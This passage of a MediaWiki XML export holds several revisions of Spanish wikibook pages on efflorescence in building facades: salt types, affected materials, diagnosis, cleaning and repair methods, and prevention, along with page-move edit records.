::-''' Mortero''': Dependerá de la composición y la porosidad de materiales que agarre (según la facilidad que tengan a dejar paso al agua). Aparecen en el perímetro del bloque. Eflorescencias frecuentes.


[[../|EFLORESCENCIAS]]

[[Patología de la edificación/Fachadas/4.Eflorescencias./1.DEFINICIÓN|1.Definición]]

[[Patología de la edificación/Fachadas/4.Eflorescencias./2.ORIGENES DE LAS EFLORESCENCIAS|2.Origenes de las eflorescencias]]

3.Tipologías

[[Patología de la edificación/Fachadas/4.Eflorescencias./4.DIAGNOSTICO|4.Diagnóstico]]

[[Patología de la edificación/Fachadas/4.Eflorescencias./5.REPARACIÓN|5.Reparación]]

[[Patología de la edificación/Fachadas/4.Eflorescencias./6.PREVENCIÓN|6.Prevención]]</text>
      <sha1>lzm2ypmmqwcdgtousa14h48vrssz0w9</sha1>
    </revision>
    <revision>
      <id>430062</id>
      <parentid>430050</parentid>
      <timestamp>2026-08-02T10:51:00Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <minor />
      <comment>Mazbel trasladó la página [[Patología de la edificación/Fachadas/Eflorescencias/3.TIPOLOGÍAS]] a [[Patología de la edificación/Fachadas/Eflorescencias/Tipologías]]</comment>
      <origin>145867</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="4610" sha1="lzm2ypmmqwcdgtousa14h48vrssz0w9" xml:space="preserve">'''3. TIPOLOGÍAS'''

Las eflorescencias tienen el inconveniente que nunca se sabe cuando, donde y como  van a aparecer. Se sabe que tienden a manifestarse en determinadas áreas de las obra, por lo que habrá que tener en cuenta: (esquema utilizado en “patología de fachadas urbanas” y en libro de Juan Monjo)

:3.1 Sales eflorescibles
	
Las sales eflorescibles que actúan dentro de la construcción es un número elevado, sin embargo hay algunos tipos que son más frecuentes de encontrar en la edificación como son:

:-'''Sulfato cálcico''' (hormigones y mamposterías): Aparece gracias a la existencia de otras sales y en periodos largos de humedad.
:-'''Sulfato potásico''' (arcillas, hormigones y morteros con agua de mar): Provocan una capa cristalina y provocan erosiones del material.
:-'''Sulfato magnésico''' – '''Sal de Epsom''' (piedras sedimentarias, yeso): Producen una pequeña erosión al cristalizar. Son manchas de color blanco y no permiten un recubrimiento de pintura sobre ellas.
:-'''Carbonato cálcico''' (materiales calizos): Producen una capa exterior blanca muy clara.


:3.2 Materiales eflorescibles

Se tratan de los materiales más eflorescibles que se utilizan en construcción. Dependerá la cantidad de sales que tengan según el tipo de arcilla que los constituyan.
Además, con los mismos componentes se pueden encontrar distintos niveles de eflorescencias, por lo que la UNE regula la cantidad de sales que contienen los elementos que se van a incorporar a obra.
Los tipos de eflorescencia se clasificarán según el tiempo de acción en el que se desarrollen. Siendo las eflorescencias temporales todas aquellas que sean fáciles de disolver nuevamente y que puedan limpiarse con facilidad. Sin embargo, las definidas como permanentes son las que presentan una gran adherencia y por tanto, una enorme dificultad para su eliminación.


'''TIPOS DE EFLORESCENCIAS QUE APARECEN:'''

'''A_ ''Ladrillos y bloques cerámicos:'''''

El  contenido  de  sales  solubles en  el  ladrillo  puede  ser  del  2%  a  más  o  menos,  sales  que son  susceptibles  de  provocar  eflorescencia. Sin embargo, las  sales  que  aparecen  como  eflorescencias  en  el  exterior  del  ladrillo  tienen, una  composición  diferente  de  la  que  poseen  las  sales  solubles  contenidas  en  el  interior  del  mismo:

:1-Al colocar el '''ladrillo en obra''' los elementos tienden a sacar las sales que se encuentran en su interior, dependerá de la humedad que haya en obra tanto del propio ladrillo como del mortero.  Florescencia inevitable.

:2-En los materiales muy eflorescibles debido a las '''infiltraciones de agua''' recristalizarán en superficie cuando deje de llover. Con el siguiente día de lluvia las manchas producidas se limpiarán y el proceso comienza de nuevo. Se tratan de eflorescencias cíclicas.

:3-El uso de '''remates horizontales''' con ladrillo a sardinel permite una '''filtración del agua''', por tanto se producirá el mismo proceso descrito en el punto anterior. Se tratan de eflorescencias cíclicas.

:4-Los propios elementos constructivos pueden producir eflorescencias sobre el otro material: 

::- Mortero material que produce las sales: Aparece en perímetro del ladrillo.
::-  Ladrillo material que produce las sales:
:::- En el perímetro del propio ladrillo. ERROR EJECUCIÓN
:::- En parte central del ladrillo: Es claramente del propio material.
	
:5-'''Humedades''' producidas por culpa de '''terreno''' u hormigón de cimentación. 

:6-Bovedillas utilizadas en los forjados crean eflorescencias en los techos de las mismas por culpa de humedades. 
	

'''B_ ''Ladrillos y bloques de morteros:'''''

:1-Las eflorescencias que provoquen serán debidos al tipo de árido que se utilice y a los producidos por el cemento.
::- '''Áridos''': Aparecen en el centro del bloque. Eflorescencia frecuentes.
::-''' Mortero''': Dependerá de la composición y la porosidad de materiales que agarre (según la facilidad que tengan a dejar paso al agua). Aparecen en el perímetro del bloque. Eflorescencias frecuentes.


[[../|EFLORESCENCIAS]]

[[Patología de la edificación/Fachadas/4.Eflorescencias./1.DEFINICIÓN|1.Definición]]

[[Patología de la edificación/Fachadas/4.Eflorescencias./2.ORIGENES DE LAS EFLORESCENCIAS|2.Origenes de las eflorescencias]]

3.Tipologías

[[Patología de la edificación/Fachadas/4.Eflorescencias./4.DIAGNOSTICO|4.Diagnóstico]]

[[Patología de la edificación/Fachadas/4.Eflorescencias./5.REPARACIÓN|5.Reparación]]

[[Patología de la edificación/Fachadas/4.Eflorescencias./6.PREVENCIÓN|6.Prevención]]</text>
      <sha1>lzm2ypmmqwcdgtousa14h48vrssz0w9</sha1>
    </revision>
    <revision>
      <id>430069</id>
      <parentid>430062</parentid>
      <timestamp>2026-08-02T10:52:37Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>430069</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="4623" sha1="0fmgicjlm9yjxzai24idnazb33f8niy" xml:space="preserve">'''3. TIPOLOGÍAS'''

Las eflorescencias tienen el inconveniente que nunca se sabe cuando, donde y como  van a aparecer. Se sabe que tienden a manifestarse en determinadas áreas de las obra, por lo que habrá que tener en cuenta: (esquema utilizado en “patología de fachadas urbanas” y en libro de Juan Monjo)

:3.1 Sales eflorescibles
	
Las sales eflorescibles que actúan dentro de la construcción es un número elevado, sin embargo hay algunos tipos que son más frecuentes de encontrar en la edificación como son:

:-'''Sulfato cálcico''' (hormigones y mamposterías): Aparece gracias a la existencia de otras sales y en periodos largos de humedad.
:-'''Sulfato potásico''' (arcillas, hormigones y morteros con agua de mar): Provocan una capa cristalina y provocan erosiones del material.
:-'''Sulfato magnésico''' – '''Sal de Epsom''' (piedras sedimentarias, yeso): Producen una pequeña erosión al cristalizar. Son manchas de color blanco y no permiten un recubrimiento de pintura sobre ellas.
:-'''Carbonato cálcico''' (materiales calizos): Producen una capa exterior blanca muy clara.


:3.2 Materiales eflorescibles

Se tratan de los materiales más eflorescibles que se utilizan en construcción. Dependerá la cantidad de sales que tengan según el tipo de arcilla que los constituyan.
Además, con los mismos componentes se pueden encontrar distintos niveles de eflorescencias, por lo que la UNE regula la cantidad de sales que contienen los elementos que se van a incorporar a obra.
Los tipos de eflorescencia se clasificarán según el tiempo de acción en el que se desarrollen. Siendo las eflorescencias temporales todas aquellas que sean fáciles de disolver nuevamente y que puedan limpiarse con facilidad. Sin embargo, las definidas como permanentes son las que presentan una gran adherencia y por tanto, una enorme dificultad para su eliminación.


'''TIPOS DE EFLORESCENCIAS QUE APARECEN:'''

'''A_ ''Ladrillos y bloques cerámicos:'''''

El  contenido  de  sales  solubles en  el  ladrillo  puede  ser  del  2%  a  más  o  menos,  sales  que son  susceptibles  de  provocar  eflorescencia. Sin embargo, las  sales  que  aparecen  como  eflorescencias  en  el  exterior  del  ladrillo  tienen, una  composición  diferente  de  la  que  poseen  las  sales  solubles  contenidas  en  el  interior  del  mismo:

:1-Al colocar el '''ladrillo en obra''' los elementos tienden a sacar las sales que se encuentran en su interior, dependerá de la humedad que haya en obra tanto del propio ladrillo como del mortero.  Florescencia inevitable.

:2-En los materiales muy eflorescibles debido a las '''infiltraciones de agua''' recristalizarán en superficie cuando deje de llover. Con el siguiente día de lluvia las manchas producidas se limpiarán y el proceso comienza de nuevo. Se tratan de eflorescencias cíclicas.

:3-El uso de '''remates horizontales''' con ladrillo a sardinel permite una '''filtración del agua''', por tanto se producirá el mismo proceso descrito en el punto anterior. Se tratan de eflorescencias cíclicas.

:4-Los propios elementos constructivos pueden producir eflorescencias sobre el otro material: 

::- Mortero material que produce las sales: Aparece en perímetro del ladrillo.
::-  Ladrillo material que produce las sales:
:::- En el perímetro del propio ladrillo. ERROR EJECUCIÓN
:::- En parte central del ladrillo: Es claramente del propio material.
	
:5-'''Humedades''' producidas por culpa de '''terreno''' u hormigón de cimentación. 

:6-Bovedillas utilizadas en los forjados crean eflorescencias en los techos de las mismas por culpa de humedades. 
	

'''B_ ''Ladrillos y bloques de morteros:'''''

:1-Las eflorescencias que provoquen serán debidos al tipo de árido que se utilice y a los producidos por el cemento.
::- '''Áridos''': Aparecen en el centro del bloque. Eflorescencia frecuentes.
::-''' Mortero''': Dependerá de la composición y la porosidad de materiales que agarre (según la facilidad que tengan a dejar paso al agua). Aparecen en el perímetro del bloque. Eflorescencias frecuentes.


[[../|EFLORESCENCIAS]]

[[Patología de la edificación/Fachadas/4.Eflorescencias./1.DEFINICIÓN|1.Definición]]

[[Patología de la edificación/Fachadas/4.Eflorescencias./2.ORIGENES DE LAS EFLORESCENCIAS|2.Origenes de las eflorescencias]]

3.Tipologías

[[Patología de la edificación/Fachadas/4.Eflorescencias./4.DIAGNOSTICO|4.Diagnóstico]]

[[Patología de la edificación/Fachadas/4.Eflorescencias./5.REPARACIÓN|5.Reparación]]

[[Patología de la edificación/Fachadas/4.Eflorescencias./6.PREVENCIÓN|6.Prevención]]

{{AutoCat}}</text>
      <sha1>0fmgicjlm9yjxzai24idnazb33f8niy</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Fachadas/Eflorescencias/Diagnóstico</title>
    <ns>0</ns>
    <id>13284</id>
    <revision>
      <id>430052</id>
      <parentid>145868</parentid>
      <timestamp>2026-08-02T10:49:35Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <minor />
      <comment>Mazbel trasladó la página [[Patología de la edificación/Fachadas/4.Eflorescencias./4.DIAGNOSTICO]] a [[Patología de la edificación/Fachadas/Eflorescencias/4.DIAGNOSTICO]]: Moviendo según manual de títulos</comment>
      <origin>145868</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="2444" sha1="k2r75maoax6ntoiovfckzf2aehu59wz" xml:space="preserve">'''4. DIAGNÓSTICO'''

La eflorescencia se trata de una consecuencia de la lesión de existencia de humedad y de las características fisicoquímicas de los materiales que componen la fachada, como son el contenido de sales, la porosidad…
Para evaluar las eflorescencias hay que estudiar su proceso:

:-'''Humedad previa''': Detectar el tipo de humedad que ha producido la lesión, analizando el recorrido del agua.
:-'''Materiales afectados''': Establecer cuales son y en que superficies se ha encontrado la agresión de las sales.
:-'''Determinar que origen y tipo de sal que actúa''': Se realiza mediante análisis químicos. Este análisis permite conocer las características de la sal por lo que permitirá utilizar un sistema específico de limpieza.
:-'''Condiciones ambientales''': Habrá de tener en cuenta las condiciones ambientales del lugar donde se ejecuta la obra, ya que habrá una mayor o menor exposición a humedades. Esto, habrá que tenerlo muy en cuenta a la hora de elegir el tipo de ladrillo y el tratamiento de éste.
:-'''Periodicidad''': Se analiza la frecuencia con la que aparecen las lesiones para poder saber que tipo de daños puede llegar a causar.

Una vez realizados estos estudios hay que determinar debido a que causas están originadas las lesiones y realizando un diagnóstico de cada una:

:-'''Causas directas''': Que tipo de humedad la ha provocado, qué tipo de eflorescencias aparecen y la periodicidad con la que aparecen.
:-'''Causas indirectas''': Descripción de las sales recristalizadas y los materiales que las contienen, dejando en un segundo plano el tipo de humedad que las ha hecho aflorar.
:-'''Síntomas''': Descripción de la composición de las sales y las formas de cristalización para definir el tipo de consecuencias que aparecen. 

Una vez realizado el diagnóstico habrá que plantear una propuesta de forma de reparación de las eflorescencias. 


[[../|EFLORESCENCIAS]]

[[Patología de la edificación/Fachadas/4.Eflorescencias./1.DEFINICIÓN|1.Definición]]

[[Patología de la edificación/Fachadas/4.Eflorescencias./2.ORIGENES DE LAS EFLORESCENCIAS|2.Origenes de las eflorescencias]]

[[Patología de la edificación/Fachadas/4.Eflorescencias./3.TIPOLOGÍAS|3.Tipologías]]

4.Diagnóstico

[[Patología de la edificación/Fachadas/4.Eflorescencias./5.REPARACIÓN|5.Reparación]]

[[Patología de la edificación/Fachadas/4.Eflorescencias./6.PREVENCIÓN|6.Prevención]]</text>
      <sha1>k2r75maoax6ntoiovfckzf2aehu59wz</sha1>
    </revision>
    <revision>
      <id>430064</id>
      <parentid>430052</parentid>
      <timestamp>2026-08-02T10:51:23Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <minor />
      <comment>Mazbel trasladó la página [[Patología de la edificación/Fachadas/Eflorescencias/4.DIAGNOSTICO]] a [[Patología de la edificación/Fachadas/Eflorescencias/Diagnóstico]]</comment>
      <origin>145868</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="2444" sha1="k2r75maoax6ntoiovfckzf2aehu59wz" xml:space="preserve">'''4. DIAGNÓSTICO'''

La eflorescencia se trata de una consecuencia de la lesión de existencia de humedad y de las características fisicoquímicas de los materiales que componen la fachada, como son el contenido de sales, la porosidad…
Para evaluar las eflorescencias hay que estudiar su proceso:

:-'''Humedad previa''': Detectar el tipo de humedad que ha producido la lesión, analizando el recorrido del agua.
:-'''Materiales afectados''': Establecer cuales son y en que superficies se ha encontrado la agresión de las sales.
:-'''Determinar que origen y tipo de sal que actúa''': Se realiza mediante análisis químicos. Este análisis permite conocer las características de la sal por lo que permitirá utilizar un sistema específico de limpieza.
:-'''Condiciones ambientales''': Habrá de tener en cuenta las condiciones ambientales del lugar donde se ejecuta la obra, ya que habrá una mayor o menor exposición a humedades. Esto, habrá que tenerlo muy en cuenta a la hora de elegir el tipo de ladrillo y el tratamiento de éste.
:-'''Periodicidad''': Se analiza la frecuencia con la que aparecen las lesiones para poder saber que tipo de daños puede llegar a causar.

Una vez realizados estos estudios hay que determinar debido a que causas están originadas las lesiones y realizando un diagnóstico de cada una:

:-'''Causas directas''': Que tipo de humedad la ha provocado, qué tipo de eflorescencias aparecen y la periodicidad con la que aparecen.
:-'''Causas indirectas''': Descripción de las sales recristalizadas y los materiales que las contienen, dejando en un segundo plano el tipo de humedad que las ha hecho aflorar.
:-'''Síntomas''': Descripción de la composición de las sales y las formas de cristalización para definir el tipo de consecuencias que aparecen. 

Una vez realizado el diagnóstico habrá que plantear una propuesta de forma de reparación de las eflorescencias. 


[[../|EFLORESCENCIAS]]

[[Patología de la edificación/Fachadas/4.Eflorescencias./1.DEFINICIÓN|1.Definición]]

[[Patología de la edificación/Fachadas/4.Eflorescencias./2.ORIGENES DE LAS EFLORESCENCIAS|2.Origenes de las eflorescencias]]

[[Patología de la edificación/Fachadas/4.Eflorescencias./3.TIPOLOGÍAS|3.Tipologías]]

4.Diagnóstico

[[Patología de la edificación/Fachadas/4.Eflorescencias./5.REPARACIÓN|5.Reparación]]

[[Patología de la edificación/Fachadas/4.Eflorescencias./6.PREVENCIÓN|6.Prevención]]</text>
      <sha1>k2r75maoax6ntoiovfckzf2aehu59wz</sha1>
    </revision>
    <revision>
      <id>430066</id>
      <parentid>430064</parentid>
      <timestamp>2026-08-02T10:51:31Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>430066</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="2457" sha1="2twwjm8f27abciwrz2nfgad5h4jcjgd" xml:space="preserve">'''4. DIAGNÓSTICO'''

La eflorescencia se trata de una consecuencia de la lesión de existencia de humedad y de las características fisicoquímicas de los materiales que componen la fachada, como son el contenido de sales, la porosidad…
Para evaluar las eflorescencias hay que estudiar su proceso:

:-'''Humedad previa''': Detectar el tipo de humedad que ha producido la lesión, analizando el recorrido del agua.
:-'''Materiales afectados''': Establecer cuales son y en que superficies se ha encontrado la agresión de las sales.
:-'''Determinar que origen y tipo de sal que actúa''': Se realiza mediante análisis químicos. Este análisis permite conocer las características de la sal por lo que permitirá utilizar un sistema específico de limpieza.
:-'''Condiciones ambientales''': Habrá de tener en cuenta las condiciones ambientales del lugar donde se ejecuta la obra, ya que habrá una mayor o menor exposición a humedades. Esto, habrá que tenerlo muy en cuenta a la hora de elegir el tipo de ladrillo y el tratamiento de éste.
:-'''Periodicidad''': Se analiza la frecuencia con la que aparecen las lesiones para poder saber que tipo de daños puede llegar a causar.

Una vez realizados estos estudios hay que determinar debido a que causas están originadas las lesiones y realizando un diagnóstico de cada una:

:-'''Causas directas''': Que tipo de humedad la ha provocado, qué tipo de eflorescencias aparecen y la periodicidad con la que aparecen.
:-'''Causas indirectas''': Descripción de las sales recristalizadas y los materiales que las contienen, dejando en un segundo plano el tipo de humedad que las ha hecho aflorar.
:-'''Síntomas''': Descripción de la composición de las sales y las formas de cristalización para definir el tipo de consecuencias que aparecen. 

Una vez realizado el diagnóstico habrá que plantear una propuesta de forma de reparación de las eflorescencias. 


[[../|EFLORESCENCIAS]]

[[Patología de la edificación/Fachadas/4.Eflorescencias./1.DEFINICIÓN|1.Definición]]

[[Patología de la edificación/Fachadas/4.Eflorescencias./2.ORIGENES DE LAS EFLORESCENCIAS|2.Origenes de las eflorescencias]]

[[Patología de la edificación/Fachadas/4.Eflorescencias./3.TIPOLOGÍAS|3.Tipologías]]

4.Diagnóstico

[[Patología de la edificación/Fachadas/4.Eflorescencias./5.REPARACIÓN|5.Reparación]]

[[Patología de la edificación/Fachadas/4.Eflorescencias./6.PREVENCIÓN|6.Prevención]]

{{AutoCat}}</text>
      <sha1>2twwjm8f27abciwrz2nfgad5h4jcjgd</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Fachadas/Eflorescencias/Reparación</title>
    <ns>0</ns>
    <id>13285</id>
    <revision>
      <id>430054</id>
      <parentid>145870</parentid>
      <timestamp>2026-08-02T10:49:35Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <minor />
      <comment>Mazbel trasladó la página [[Patología de la edificación/Fachadas/4.Eflorescencias./5.REPARACIÓN]] a [[Patología de la edificación/Fachadas/Eflorescencias/5.REPARACIÓN]]: Moviendo según manual de títulos</comment>
      <origin>145870</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="2810" sha1="td8t5hrxcaix1hqeebwson2i89tewhr" xml:space="preserve">'''5. REPARACIÓN'''

La reparación de las eflorescencias puede realizarse reparando las causas que las han provocado o de los efectos causados.

:1.-'''''Reparación de causas''''': Se trata de de actuar, mediante interrupción, sobre las causas directas que la producen, esto es, sobre las humedades. Sobre las causas indirectas (la existencia de sales solubles de los materiales) sin embargo es casi imposible actuar.
::-'''Soluciones de siliconas''': Fin de impermeabilizar el ladrillo, previene las eflorescencias pero es ineficaz en caso de que estas hayan aparecido.

:2.-'''''Reparación del efecto''''': Una vez interrumpidas las filtraciones de agua se procede a la eliminación de las eflorescencias. Se definen distintos sistemas de limpieza:

::-'''Limpieza natural''': Se disuelven los cristales en agua pulverizada a presión y pasando un cepillo de cerdas por la superficie a limpiar. Dependerá de la dureza del cepillo y el coeficiente de absorción del material la efectividad del método. Normalmente se utiliza un secado artificial si la cantidad del agua utilizada es elevada.

::-'''Limpieza química''': Se tratan de los procesos en los que la sal no se disuelve con facilidad en el agua, por lo que hace falta otro producto para disolverla. Entre los líquidos más utilizados se encuentran: el vinagre (antiguamente) y el ácido clorhídrico (actualmente). El método de limpieza es similar a la limpieza natural, se realiza también con aplicación del producto a presión.

::-'''Limpieza mecánica''': Se utiliza en los casos en los que las sales se recristalizan formando superficies duras y difíciles de disolver. El tipo de limpieza a realizar dependerá de la dureza de la capa: cepillo de púas metálicas, bujardas y cepilladoras eléctricas o mediante chorros a presión.

Estas limpiezas pueden producir alguna alteración en los elementos constructivos a causa de las características del material, por lo que habrá que protegerlas para evitar posibles futuras eflorescencias. 
Para ello, se suelen realizar '''tratamientos de estabilización superficial e impermeabilizaciones''' de las piezas, permitiendo una impermeabilización de los materiales. Los tratamientos a realizar son los tratamientos que se realizan para prevenir humedades.


[[../|EFLORESCENCIAS]]

[[Patología de la edificación/Fachadas/4.Eflorescencias./1.DEFINICIÓN|1.Definición]]

[[Patología de la edificación/Fachadas/4.Eflorescencias./2.ORIGENES DE LAS EFLORESCENCIAS|2.Origenes de las eflorescencias]]

[[Patología de la edificación/Fachadas/4.Eflorescencias./3.TIPOLOGÍAS|3.Tipologías]]

[[Patología de la edificación/Fachadas/4.Eflorescencias./4.DIAGNOSTICO|4.Diagnóstico]]

5.Reparación

[[Patología de la edificación/Fachadas/4.Eflorescencias./6.PREVENCIÓN|6.Prevención]]</text>
      <sha1>td8t5hrxcaix1hqeebwson2i89tewhr</sha1>
    </revision>
    <revision>
      <id>430070</id>
      <parentid>430054</parentid>
      <timestamp>2026-08-02T10:52:43Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>430070</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="2823" sha1="ogdins0zjjz6u6pl5clj842dcmg90mq" xml:space="preserve">'''5. REPARACIÓN'''

La reparación de las eflorescencias puede realizarse reparando las causas que las han provocado o de los efectos causados.

:1.-'''''Reparación de causas''''': Se trata de de actuar, mediante interrupción, sobre las causas directas que la producen, esto es, sobre las humedades. Sobre las causas indirectas (la existencia de sales solubles de los materiales) sin embargo es casi imposible actuar.
::-'''Soluciones de siliconas''': Fin de impermeabilizar el ladrillo, previene las eflorescencias pero es ineficaz en caso de que estas hayan aparecido.

:2.-'''''Reparación del efecto''''': Una vez interrumpidas las filtraciones de agua se procede a la eliminación de las eflorescencias. Se definen distintos sistemas de limpieza:

::-'''Limpieza natural''': Se disuelven los cristales en agua pulverizada a presión y pasando un cepillo de cerdas por la superficie a limpiar. Dependerá de la dureza del cepillo y el coeficiente de absorción del material la efectividad del método. Normalmente se utiliza un secado artificial si la cantidad del agua utilizada es elevada.

::-'''Limpieza química''': Se tratan de los procesos en los que la sal no se disuelve con facilidad en el agua, por lo que hace falta otro producto para disolverla. Entre los líquidos más utilizados se encuentran: el vinagre (antiguamente) y el ácido clorhídrico (actualmente). El método de limpieza es similar a la limpieza natural, se realiza también con aplicación del producto a presión.

::-'''Limpieza mecánica''': Se utiliza en los casos en los que las sales se recristalizan formando superficies duras y difíciles de disolver. El tipo de limpieza a realizar dependerá de la dureza de la capa: cepillo de púas metálicas, bujardas y cepilladoras eléctricas o mediante chorros a presión.

Estas limpiezas pueden producir alguna alteración en los elementos constructivos a causa de las características del material, por lo que habrá que protegerlas para evitar posibles futuras eflorescencias. 
Para ello, se suelen realizar '''tratamientos de estabilización superficial e impermeabilizaciones''' de las piezas, permitiendo una impermeabilización de los materiales. Los tratamientos a realizar son los tratamientos que se realizan para prevenir humedades.


[[../|EFLORESCENCIAS]]

[[Patología de la edificación/Fachadas/4.Eflorescencias./1.DEFINICIÓN|1.Definición]]

[[Patología de la edificación/Fachadas/4.Eflorescencias./2.ORIGENES DE LAS EFLORESCENCIAS|2.Origenes de las eflorescencias]]

[[Patología de la edificación/Fachadas/4.Eflorescencias./3.TIPOLOGÍAS|3.Tipologías]]

[[Patología de la edificación/Fachadas/4.Eflorescencias./4.DIAGNOSTICO|4.Diagnóstico]]

5.Reparación

[[Patología de la edificación/Fachadas/4.Eflorescencias./6.PREVENCIÓN|6.Prevención]]

{{AutoCat}}</text>
      <sha1>ogdins0zjjz6u6pl5clj842dcmg90mq</sha1>
    </revision>
    <revision>
      <id>430073</id>
      <parentid>430070</parentid>
      <timestamp>2026-08-02T10:53:32Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <minor />
      <comment>Mazbel trasladó la página [[Patología de la edificación/Fachadas/Eflorescencias/5.REPARACIÓN]] a [[Patología de la edificación/Fachadas/Eflorescencias/Reparación]]</comment>
      <origin>430070</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="2823" sha1="ogdins0zjjz6u6pl5clj842dcmg90mq" xml:space="preserve">'''5. REPARACIÓN'''

La reparación de las eflorescencias puede realizarse reparando las causas que las han provocado o de los efectos causados.

:1.-'''''Reparación de causas''''': Se trata de de actuar, mediante interrupción, sobre las causas directas que la producen, esto es, sobre las humedades. Sobre las causas indirectas (la existencia de sales solubles de los materiales) sin embargo es casi imposible actuar.
::-'''Soluciones de siliconas''': Fin de impermeabilizar el ladrillo, previene las eflorescencias pero es ineficaz en caso de que estas hayan aparecido.

:2.-'''''Reparación del efecto''''': Una vez interrumpidas las filtraciones de agua se procede a la eliminación de las eflorescencias. Se definen distintos sistemas de limpieza:

::-'''Limpieza natural''': Se disuelven los cristales en agua pulverizada a presión y pasando un cepillo de cerdas por la superficie a limpiar. Dependerá de la dureza del cepillo y el coeficiente de absorción del material la efectividad del método. Normalmente se utiliza un secado artificial si la cantidad del agua utilizada es elevada.

::-'''Limpieza química''': Se tratan de los procesos en los que la sal no se disuelve con facilidad en el agua, por lo que hace falta otro producto para disolverla. Entre los líquidos más utilizados se encuentran: el vinagre (antiguamente) y el ácido clorhídrico (actualmente). El método de limpieza es similar a la limpieza natural, se realiza también con aplicación del producto a presión.

::-'''Limpieza mecánica''': Se utiliza en los casos en los que las sales se recristalizan formando superficies duras y difíciles de disolver. El tipo de limpieza a realizar dependerá de la dureza de la capa: cepillo de púas metálicas, bujardas y cepilladoras eléctricas o mediante chorros a presión.

Estas limpiezas pueden producir alguna alteración en los elementos constructivos a causa de las características del material, por lo que habrá que protegerlas para evitar posibles futuras eflorescencias. 
Para ello, se suelen realizar '''tratamientos de estabilización superficial e impermeabilizaciones''' de las piezas, permitiendo una impermeabilización de los materiales. Los tratamientos a realizar son los tratamientos que se realizan para prevenir humedades.


[[../|EFLORESCENCIAS]]

[[Patología de la edificación/Fachadas/4.Eflorescencias./1.DEFINICIÓN|1.Definición]]

[[Patología de la edificación/Fachadas/4.Eflorescencias./2.ORIGENES DE LAS EFLORESCENCIAS|2.Origenes de las eflorescencias]]

[[Patología de la edificación/Fachadas/4.Eflorescencias./3.TIPOLOGÍAS|3.Tipologías]]

[[Patología de la edificación/Fachadas/4.Eflorescencias./4.DIAGNOSTICO|4.Diagnóstico]]

5.Reparación

[[Patología de la edificación/Fachadas/4.Eflorescencias./6.PREVENCIÓN|6.Prevención]]

{{AutoCat}}</text>
      <sha1>ogdins0zjjz6u6pl5clj842dcmg90mq</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Fachadas/Eflorescencias/Prevención</title>
    <ns>0</ns>
    <id>13287</id>
    <revision>
      <id>430056</id>
      <parentid>145871</parentid>
      <timestamp>2026-08-02T10:49:35Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <minor />
      <comment>Mazbel trasladó la página [[Patología de la edificación/Fachadas/4.Eflorescencias./6.PREVENCIÓN]] a [[Patología de la edificación/Fachadas/Eflorescencias/6.PREVENCIÓN]]: Moviendo según manual de títulos</comment>
      <origin>145871</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="1958" sha1="e9vizd130pgnimokq0tivamszs2nf2j" xml:space="preserve">'''6. PREVENCIÓN'''

Las prevenciones se orientarán a las decisiones tomadas en proyecto y ejecución de los materiales. Habrá que prevenir dos aspectos a la hora de desarrollar la obra: 

:-'''Prevención de humedades'''

:-'''Asegurar la inexistencia de sales solubles''': Habrá que cumplir con lo especificado en el Pliego de Condiciones a la hora de aceptar los materiales que llegan a obra (deberán ser no eflorescibles) y se deberán realizar los correspondientes ensayos de eflorescibilidad a los elementos realizados “in-situ” en obra. Estas comprobaciones habrá que realizarlas tanto con los materiales que van a cara vista como los que no.

:-'''Durante la construcción''': Habrá que evitar que los ladrillos se mojen demasiado, por tanto, en caso de fuertes lluvias habrá que cubrirlos. Antes de ser trasladados a obra, el fabricante habrá de tener este mismo aspecto en cuenta.

:-'''Evitar que los ladrillos en obra se contaminen''' por absorción de sales solubles de fuentes externas. (no apilarlos sobre escorias del horno, en suelos salinos, encima de productos industriales, terrenos de escombros…).

:-'''No permitir que los ladrillos se mojen''' por las superficies que no están expuestas a una rápida evaporación. En caso de que aparezcan eflorescencias en zonas no expuestas determina que existen filtraciones anormales de agua debido a una incorrecta ejecución o a un fallo de proyecto.


[[../|EFLORESCENCIAS]]

[[Patología de la edificación/Fachadas/4.Eflorescencias./1.DEFINICIÓN|1.Definición]]

[[Patología de la edificación/Fachadas/4.Eflorescencias./2.ORIGENES DE LAS EFLORESCENCIAS|2.Origenes de las eflorescencias]]

[[Patología de la edificación/Fachadas/4.Eflorescencias./3.TIPOLOGÍAS|3.Tipologías]]

[[Patología de la edificación/Fachadas/4.Eflorescencias./4.DIAGNOSTICO|4.Diagnóstico]]

[[Patología de la edificación/Fachadas/4.Eflorescencias./5.REPARACIÓN|5.Reparación]]

6.Prevención</text>
      <sha1>e9vizd130pgnimokq0tivamszs2nf2j</sha1>
    </revision>
    <revision>
      <id>430071</id>
      <parentid>430056</parentid>
      <timestamp>2026-08-02T10:53:23Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <minor />
